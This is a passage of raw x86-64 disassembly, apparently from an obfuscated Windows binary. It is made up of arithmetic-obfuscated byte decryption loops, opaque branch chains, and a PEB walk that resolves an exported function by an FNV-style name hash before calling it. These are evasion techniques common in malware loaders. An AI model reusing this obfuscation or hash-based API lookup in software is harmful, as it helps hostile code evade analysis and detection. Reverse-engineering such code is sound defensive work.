jmp 0x1400cebdb
movabs rcx, 0x531eed8266749952
movzx eax, bl
add rcx, rdi
and al, cl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
jmp 0x1400ceb84
movzx eax, bl
movabs rcx, 0x6af041bf369ca798
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x28
jmp 0x1400ceb3b
movzx eax, bl
movabs rcx, 0x82c195fc06c4b5de
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x12
jmp 0x1400ceb38
mov ecx, 2
movabs rdx, 0x9a92ea38d6ecc424
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400ceb13
mov ecx, 0xd
movabs rdx, 0xb2643e75a714d26a
add rdx, rdi
movzx eax, bl
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x4721b04883035f4e
inc rdi
jmp 0x1400cdf22
mov ecx, 0x18
movabs rdx, 0xca3592b2773ce0b0
add rdx, rdi
movzx eax, bl
and al, dl
inc r9
sub cl, al
dec rdi
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x4721b04883035f4e
inc rdi
jmp 0x1400cdf22
mov ecx, 0x23
movabs rdx, 0xe206e6ef4764eef6
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cea84
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400ce671
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0xb
jmp 0x1400ce498
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ce6a2
mov ecx, 0x19
movabs rdx, 0xbd41702ecb6d442
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400cec35
inc rax
cmp r8, rax
jne 0x1400ce6cf
mov ecx, 3
movabs rdx, 0xdc316e894c66b7b6
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400ceb81
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ce70b
movzx eax, bl
movabs rcx, 0x7cec1d960bc67e9e
add rcx, rdi
movabs rdx, 0x4721b04883035f4e
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x52
inc rdi
jmp 0x1400cdf22
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ce74a
movzx eax, bl
movabs rcx, 0x651ac9593b9e7058
add rcx, rdi
inc r9
and al, cl
dec rdi
add al, al
movabs rdx, 0x4721b04883035f4e
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x68
inc rdi
jmp 0x1400cdf22
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ce49b
movabs rdx, 0x4d49751c6b766212
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x7e
jmp 0x1400cea81
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ce7a8
movabs rdx, 0x11be228463123e63
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
add r11b, 0x4b
jmp 0x1400cea81
inc rax
cmp r8, rax
jne 0x1400ce7d4
movabs rdx, 0xca4a25cdf29a1391
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
add r11b, 9
jmp 0x1400ceb10
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ce800
movzx eax, bl
movabs rcx, 0x9aa77d545249f705
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x23
jmp 0x1400ceb3b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ce43a
movabs rdx, 0x82d629178221e8bf
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x39
jmp 0x1400ceb81
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400ce862
mov ecx, 0x32
movabs rdx, 0x17a82e05d96da884
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400cec35
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ce893
mov ecx, 0x1c
movabs rdx, 0xe805858c391d8bf8
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400ceb84
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ce8c4
mov ecx, 6
movabs rdx, 0xb862dd1298cd6f6c
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400ceb38
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400ce900
movzx eax, bl
movabs rcx, 0x88c03498f87d52e0
add rcx, rdi
movabs rdx, 0x4721b04883035f4e
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
inc rdi
jmp 0x1400cdf22
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ce93f
movzx eax, bl
movabs rcx, 0x70eee05c2855449a
add rcx, rdi
inc r9
and al, cl
dec rdi
add al, al
movabs rdx, 0x4721b04883035f4e
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x36
inc rdi
jmp 0x1400cdf22
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ce3ea
movabs rcx, 0x591d8c1f582d3654
movzx eax, bl
add rcx, rdi
and al, cl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x1400cea84
movzx r11d, byte [rbp + rdi + 0x1d0]
movabs rdx, 0x297ae3a5b7dd19c8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x78
add r11b, bl
jmp 0x1400ceb10
mov ecx, 0x39
movabs rdx, 0x11a98f68e7b50b82
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x1d0]
add r11b, bl
jmp 0x1400ceb81
movzx eax, bl
movabs rcx, 0x2f8e155e24f2e9ab
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x53
jmp 0x1400cec35
movzx eax, bl
movabs rcx, 0x8ed36651659322c3
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x55
jmp 0x1400ceb38
movzx eax, bl
movabs rcx, 0xbe760ecb05e33f4f
add rcx, rdi
movabs rdx, 0x4721b04883035f4e
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x29
inc rdi
jmp 0x1400cdf22
movabs rdx, 0xee18b744a6335bdb
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
add r11b, 3
jmp 0x1400cea81
movabs rdx, 0x1dbb5fbe46837867
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
add r11b, 0x2f
add r11b, dl
movabs rcx, 0x35638dc41ff120eb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x6d
add cl, bl
mov byte [rbp + rdi + 0x1d0], cl
inc r9
dec rdi
inc rdi
movabs rdx, 0x4721b04883035f4e
jmp 0x1400cdf22
movzx eax, bl
movabs rcx, 0x4d5e0837e6d394f3
add rcx, rdi
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x5b
dec rdi
movabs rdx, 0x4721b04883035f4e
inc rdi
jmp 0x1400cdf22
movabs rdx, 0x652f5c74b6fba339
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
add r11b, 0x71
add r11b, dl
movabs rcx, 0x1d9239874fc912a5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x7d
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x1d0], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
movabs rdx, 0x4721b04883035f4e
add rdi, rcx
inc rdi
jmp 0x1400cdf22
movabs rdx, 0xaca3592b2773ce0b
movzx r11d, r10b
add rdx, rdi
mov rbx, r10
movzx eax, dl
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x4d
add r11b, dl
movzx eax, bl
inc r9
movabs rdx, 0x5c0e54a7fa1045f
movzx ecx, bl
add rdx, rdi
and al, dl
add al, al
sub cl, al
add cl, 0x67
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x1d0], al
add rax, r9
sub rdi, rax
jmp 0x1400cebde
movabs rdx, 0xc474ad67f79bdc51
movzx eax, r10b
add rdx, rdi
movzx r11d, r10b
and al, dl
movzx ebx, r10b
add al, al
sub r11b, al
sub r11b, 0x37
add r11b, dl
movzx eax, bl
inc r8
movabs rdx, 0xf9d83b2c178cfd3c
mov ecx, 0x2e
add rdx, rdi
and al, dl
sub cl, al
mov rax, 0xffffffffffffffff
add cl, cl
sub rax, r8
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x1d0], cl
add rdi, rax
jmp 0x1400cec35
movabs rcx, 0xdc4601a4c7c3ea97
movzx eax, r10b
add rcx, rdi
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x21
movzx eax, byte [rbp + rdi + 0x1d0]
movabs rdx, 0x4721b04883035f4e
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cdf22
movabs rcx, 0xd01f9e33ed984ad1
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x49
jmp 0x1400cdf20
movabs rcx, 0xe7f0f270bdc05917
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5f
jmp 0x1400cdf10
lea rdi, [rbp + 0x14b364c]
jmp 0x1400cecb4
lea rdi, [rbp + 0xf72f29]
jmp 0x1400cecb4
lea rdi, [rbp + 0x1d0]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400ced45
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400ced45
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x5d6cbb7e
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400ced40
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400ced20
cmp edx, 0x8389ed90
je 0x1400ced4a
test r9d, r9d
jne 0x1400ced00
mov rax, qword [rax]
jmp 0x1400cecd0
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r10d, byte [rsp + 0x30]
xor eax, eax
mov qword [rbp + 0x1fa], rax
movabs rdi, 0x3634776b5bbdd45
mov dword [rbp + 0x1f0], 0x3c08380a
movabs rsi, 0xc1173a8ba6b6e95b
mov dword [rbp + 0x1f4], 0xfb0c333d
movabs r15, 0xaad3f7366a2d8471
mov word [rbp + 0x1f8], 0x6dfa
movabs r14, 0x6b6f4c1ed25be079
movabs r12, 0x15c75db1fe00d797
movabs r13, 0xc5724d48d983e146
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402ff1a0]
mov r9, qword [0x1402ff198]
nop
xor ebx, ebx
cmp rbx, 0x12
jae 0x1400cfb58
movzx r11d, byte [rbp + rbx + 0x1f0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400cfb4f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400cee3c
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x17
jmp 0x1400cee82
je 0x1400cfaca
inc rax
cmp r8, rax
je 0x1400cfa5e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cfa27
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400cfa02
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cf9b0
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400cf985
cmp r9, rbx
ja 0x1400cfb46
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400ceeac
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
jmp 0x1400ceed3
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cf930
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cf905
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400cf8cf
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400cf535
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400cf50c
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400cf4de
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400cf4b3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cf48e
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400cf462
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400cf439
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400cf410
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400cf3e8
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400cf3b2
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400ceee0
lea r8, [r9 + 5]
lea r9, [r8 + 2]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400cfb22
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400cfafe
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400cf0d2
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400cf0b3
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400cf094
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400cf34a
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400cf2e5
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400cf296
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400cf267
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400ceee0
lea r8, [r9 + 4]
lea r9, [r8 + 1]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400cf22d
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400cf204
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400cf1e0
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400cf1bc
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400cf195
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400cf16c
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400cf13d
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400cf114
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400cf0f0
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400ceee0
lea r8, [r9 + 3]
lea r9, [r8 + 0x2a]
jmp 0x1400ceee0
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x7d
add r10b, dl
jmp 0x1400ceed3
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x4f
add r10b, dl
jmp 0x1400cee82
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub dl, 0x21
sub r10b, al
add r10b, dl
jmp 0x1400cee05
movabs rcx, 0x1b1a3bb5addeea28
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x1400cf953
lea rdx, [rbx + r13]
mov ecx, 0xb
movzx eax, dl
inc r9
and al, r11b
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400cedf2
mov ecx, 0x22
movabs rdx, 0x6fca5edc0528d864
add rdx, rbx
dec rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400cedf2
mov ecx, 0x39
movabs rdx, 0x1a22706f30cdcf82
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf9d3
movabs rcx, 0xc47a82025c72c6a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
add r8, r9
jmp 0x1400cfa45
movabs rcx, 0x6ed293958817bdbe
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x1400cfa45
movabs rcx, 0x192aa528b3bcb4dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x1400cf897
mov ecx, 0x15
movabs rdx, 0xc382b6bbdf61abfa
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cfa7c
mov ecx, 0x2c
movabs rdx, 0x6ddac84f0b06a318
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x1f0]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400cedf2
movabs rcx, 0x17b6f43ef8230ce3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x35
mov byte [rbp + rbx + 0x1f0], r10b
inc rbx
jmp 0x1400cedf2
movabs rcx, 0xc20f05d223c80401
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 7
cmp r9, 0x200
jb 0x1400cf286
movabs rcx, 0x10747fae4e22c506
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x54]
jmp 0x1400cf953
movabs rdx, 0x6c6717654f6cfb1f
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x27
add r10b, dl
cmp r8, 0x3e8
jae 0x1400cf83b
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400cf6fc
movabs rdx, 0xb7e52f6e02946c32
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x5e
add r10b, dl
jmp 0x1400cf2b5
movabs rdx, 0x16bf28f87b11f23d
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x55
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x1400cf86b
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400cf668
movabs rdx, 0xb481e7f74cd88eed
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x7b
jmp 0x1400cf305
movzx eax, r11b
movabs rcx, 0x1453acc842672f9e
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x1f0]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
sub r10b, 0x52
inc rbx
jmp 0x1400cedf2
movabs rdx, 0xbeabbe5b6e0c26bc
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x24
add r10b, dl
jmp 0x1400cfa7c
mov ecx, 5
movabs rdx, 0x6903cfee99b11dda
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf897
mov ecx, 0x1c
movabs rdx, 0x135be181c55614f8
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400cfa45
mov ecx, 0x33
movabs rdx, 0xbdb3f314f0fb0c16
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400cfa45
movabs rdx, 0x680c04a81ca00334
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x6c
jmp 0x1400cf9d0
movzx eax, r11b
movabs rcx, 0x1264163b4844fa52
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3e
inc rbx
jmp 0x1400cedf2
movzx eax, r11b
movabs rcx, 0xbcbc27ce73e9f170
add rcx, rbx
inc r9
and al, cl
dec rbx
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
inc rbx
jmp 0x1400cedf2
mov ecx, 0xf
movabs rdx, 0x671439619f8ee88e
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf953
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400cf55a
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x17
jmp 0x1400cf36a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cf59d
movzx eax, r11b
mov ecx, 0x1d
movabs rdx, 0x6c68eed6b77ba8a
add rdx, rbx
and al, dl
sub cl, al
movzx eax, byte [rbp + rbx + 0x1f0]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400cedf2
inc rax
cmp r8, rax
jne 0x1400cf5cd
movzx eax, r11b
movabs rcx, 0x5d6648a0bce3de12
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7e
add r8, r9
jmp 0x1400cfa45
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cf5ff
mov ecx, 0x2a
movabs rdx, 0xb30e370d913ee6f4
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf9d3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400cf637
mov ecx, 0x13
movabs rdx, 0x8b6257a6599efd6
add rdx, rbx
movzx eax, r11b
and al, dl
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400cedf2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400cf36d
movabs rcx, 0xb40602540e50019a
movzx eax, r11b
add rcx, rbx
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x1400cf953
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cf696
movabs rdx, 0xa29d664213397cf
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x57
jmp 0x1400cf950
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cf6ca
movzx eax, r11b
movabs rcx, 0xb579b33dc9e9a993
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 5
inc rbx
jmp 0x1400cedf2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cf308
movzx eax, r11b
movabs rcx, 0xb6717e8446fac439
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x71
jmp 0x1400cfa45
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cf73f
movzx eax, r11b
mov ecx, 0x3a
movabs rdx, 0xd8d1ddad6ef7514
add rdx, rbx
and al, dl
sub cl, al
movzx eax, byte [rbp + rbx + 0x1f0]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400cedf2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400cf771
mov ecx, 0xc
movabs rdx, 0xb8dcfab47fa586d8
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf897
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cf79f
movzx eax, r11b
movabs rcx, 0xe84e92154008fba
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x16
jmp 0x1400cfa45
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cf7cd
movabs rdx, 0xb9d4c5fafcb6a17e
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x72
jmp 0x1400cf9d0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cf805
mov ecx, 0x30
movabs rdx, 0xf7cb467d111aa60
add rdx, rbx
dec rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400cedf2
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400cf2b5
mov ecx, 2
movabs rdx, 0xbacc914179c7bc24
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf953
movzx r10d, byte [rbp + rbx + 0x1f0]
movabs rdx, 0x661c6e1b227dcde8
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x58
add r10b, dl
add r10b, r11b
jmp 0x1400cf9d3
mov ecx, 0x3d
movabs rdx, 0xbbc45c87f6d8d6ca
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x1f0]
add r10b, r11b
add r10b, dl
movzx eax, r11b
inc r9
movabs rdx, 0x669853be61065b3b
movzx ecx, r11b
add rdx, rbx
and al, dl
add al, al
sub cl, al
add cl, 0x63
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x1f0], al
add rax, r9
sub rbx, rax
jmp 0x1400cfa7c
movzx eax, r11b
movabs rcx, 0x64aa94a2cef2d37
add rcx, rbx
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx + 0x1f0]
add rax, r9
add rbx, rax
lea r10d, [rcx + r11]
add r10b, 0x7f
inc rbx
jmp 0x1400cedf2
movzx eax, r11b
movabs rcx, 0x45b12bd32ccf7eb
add rcx, rbx
dec rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6d
inc rbx
jmp 0x1400cedf2
movabs rdx, 0x590b35e38a16e627
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x11
add r10b, dl
movabs rcx, 0xbb4876e4b8504977
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x41
add cl, r11b
mov byte [rbp + rbx + 0x1f0], cl
inc r9
dec rbx
inc rbx
jmp 0x1400cedf2
movzx eax, r11b
movabs rcx, 0x26b7c3038aac29f
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x59
dec rbx
inc rbx
jmp 0x1400cedf2
movabs rdx, 0xacc38dc3644fb9bd
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x2b
add r10b, dl
movabs rdx, 0x10f065518cab5259
movzx ecx, r10b
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub cl, al
sub cl, 0x6f
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x1f0], cl
add r8, r9
jmp 0x1400cfa45
movzx eax, r11b
movabs rcx, 0x571b9f568ff4b0db
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 3
add r8, r9
jmp 0x1400cfa45
movabs rcx, 0x173b0e9bb99a7f9
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x31
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400cedf2
mov r11, rdx
movabs rax, 0x5623d41012e39635
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
sub r10b, 0x73
inc r8
movabs rdx, 0x116c4af4cb33dfac
add rdx, rbx
mov ecx, 0x26
movzx eax, dl
